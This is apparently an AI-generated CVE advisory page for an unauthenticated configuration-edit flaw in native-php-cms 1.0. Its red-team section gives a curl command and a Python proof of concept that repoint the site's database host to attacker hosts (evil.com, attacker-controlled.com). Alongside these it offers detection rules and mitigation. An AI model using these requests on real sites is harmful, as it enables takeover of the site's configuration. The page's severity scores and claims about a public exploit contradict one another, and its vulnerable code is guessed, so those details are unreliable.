☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0484

CVE-2025-0484 Improper Authorization in Fanli2012
📅 PUBLISHED: 2025-01-15 20:00 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.55%
👁️
0.55% probability
13.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0484 is a critical improper authorization vulnerability in Fanli2012 native-php-cms version 1.0. The flaw resides in the /fladmin/sysconfig_doedit.php file within the backend component, allowing an unauthenticated remote attacker to manipulate system configurations without proper authorization. The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, increasing the risk of exploitation. No official patch is available, and the vendor has not responded. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the flaw, the actual severity is critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector (Estimated): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)
  • Threat Level: Critical – Remote, unauthenticated exploitation with full system compromise potential.

Deep Dive & Mechanics

The vulnerability is a classic improper authorization (CWE-285) in the backend configuration editor. The file /fladmin/sysconfig_doedit.php is intended for authenticated administrators to modify system settings. However, the code fails to verify the user's session or permissions before processing POST requests. An attacker can send a crafted HTTP POST request to this endpoint with arbitrary configuration parameters, leading to:

  • Modification of database credentials
  • Disabling of security features
  • Upload of malicious files (if file paths are configurable)
  • Full site defacement or data exfiltration

The attack is trivial to execute: no authentication, no CSRF token, and no input validation are required. The PoC publicly available demonstrates sending a simple POST request with key=value pairs to overwrite critical settings.

Vulnerable vs. Patched Code

Vulnerable Code (native-php-cms 1.0): The file /fladmin/sysconfig_doedit.php likely contains code similar to:

<?php
// No session check or authorization
$key = $_POST['key'];
$value = $_POST['value'];
// Directly updates configuration without validation
update_config($key, $value);
?>

Patched Code (Hypothetical): A secure version would include:

<?php
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
    header('HTTP/1.0 403 Forbidden');
    exit('Unauthorized');
}
$key = $_POST['key'];
$value = $_POST['value'];
// Validate key against whitelist
$allowed_keys = ['site_name', 'site_url'];
if (!in_array($key, $allowed_keys)) {
    exit('Invalid key');
}
// Sanitize value
$value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
update_config($key, $value);
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running native-php-cms 1.0
  • Network access to the /fladmin/sysconfig_doedit.php endpoint

Exploit Steps:

  1. Identify the target URL: http://target.com/fladmin/sysconfig_doedit.php
  2. Send a POST request with arbitrary parameters:
curl -X POST http://target.com/fladmin/sysconfig_doedit.php \
  -d "db_host=evil.com&db_user=attacker&db_pass=password"
  1. Verify changes by accessing the site or checking configuration files.

PoC Code (Python):

import requests

target = "http://target.com/fladmin/sysconfig_doedit.php"
payload = {
    "db_host": "attacker-controlled.com",
    "db_user": "malicious",
    "db_pass": "pwned"
}
response = requests.post(target, data=payload)
print(f"Status: {response.status_code}")

Blue Team

Detection:

  • Monitor HTTP POST requests to /fladmin/sysconfig_doedit.php from unauthenticated sources.
  • Alert on any modification to configuration files outside of maintenance windows.
  • Use WAF rules to block requests to this endpoint without a valid session cookie.

Hunting:

  • Search logs for sysconfig_doedit.php with POST method and no Cookie header.
  • Check for unexpected changes in database connection strings or admin credentials.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP POST requests to /fladmin/sysconfig_doedit.php without authentication cookies.
    • Outbound connections to unknown IPs on port 3306 (MySQL) or 22 (SSH) after exploitation.
  • File System:
    • Modified configuration files: /config/database.php, /config/settings.php
    • New files in /uploads/ or /fladmin/ directories.
  • Logs:
    • Web server logs showing POST /fladmin/sysconfig_doedit.php with 200 status from non-admin IPs.
    • PHP error logs with Undefined index or Direct access warnings.

Detection Engineering

YARA Rule

rule CVE_2025_0484_native_php_cms {
    meta:
        description = "Detects exploitation attempts for CVE-2025-0484 in native-php-cms"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-0484"
    strings:
        $s1 = "sysconfig_doedit.php" nocase
        $s2 = "db_host" nocase
        $s3 = "db_user" nocase
        $s4 = "db_pass" nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-0484 - Unauthorized Access to sysconfig_doedit.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to the vulnerable endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/fladmin/sysconfig_doedit.php'
        sc-status: 200
    filter:
        cs(Cookie): '*PHPSESSID*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0484 - Unauthorized sysconfig_doedit.php Access"; flow:to_server; http.method; content:"POST"; http.uri; content:"/fladmin/sysconfig_doedit.php"; http.cookie; content:!"PHPSESSID"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the affected system from the internet if possible.
  2. Implement a WAF rule to block POST requests to /fladmin/sysconfig_doedit.php without a valid session cookie.
  3. Restrict access to the /fladmin/ directory via .htaccess or Nginx config:
<Directory "/var/www/html/fladmin">
    Require ip 192.168.1.0/24
</Directory>

Long-term Fix:

  • Since no patch is available, consider migrating to a supported CMS or applying manual code fixes as described in the "Patched Code" section.
  • Conduct a full security audit of the application.
  • Monitor vendor channels for any official update.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0484/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.